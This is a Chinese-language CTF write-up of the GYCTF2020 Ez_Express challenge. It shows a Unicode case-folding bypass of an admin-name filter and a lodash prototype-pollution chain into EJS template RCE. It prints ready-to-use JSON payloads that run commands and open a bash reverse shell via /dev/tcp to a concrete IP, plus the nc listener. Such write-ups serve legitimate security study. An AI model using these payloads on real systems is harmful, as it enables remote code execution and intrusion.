[GYCTF2020]Ez_Express
打开是一个登陆框
在源代码中找到
在代码里找到敏感关键字
找到merge 想到原型链污染
这里登陆只能用ADMIN才能登陆成功
但是这里index.php又设置了一个waf ban了admin的大小写
这里需要绕过这个waf
看注册这段代码
用的是这个toUpperCase()函数
之前学过这个函数的绕过
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
可以构造admın绕过
成功登陆进去
后面参考wp
需要用到ejs模版
Ejs简介:
EJS是一个javascript模板库,用来从json数据中生成HTML字符串
- 功能:缓存功能,能够缓存好的HTML模板;
- <% code %>用来执行javascript代码
- 安装:
$ npm install ejs
看了一圈这个写的最详细
Express+lodash+ejs: 从原型链污染到RCE
懂了个大概吧
就是
还有这篇文章
从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台
大概意思就是说ejs在渲染的时候有大量代码拼接
然后我们通过原型链污染达到变量覆盖
就可以构造注入
先闭合上面的语句
再构造rce的语句
给出几个 ejs 模板引擎 RCE 常用的 POC:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
exp
先用post 访问/action 触发copy 构造原型链污染
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/182.254.242.167/8888 0>&1\"');var __tmp2"}}
再用GET 方法访问/info
用ejs渲染
nc -lvnp 8888
用自己的vps反弹shell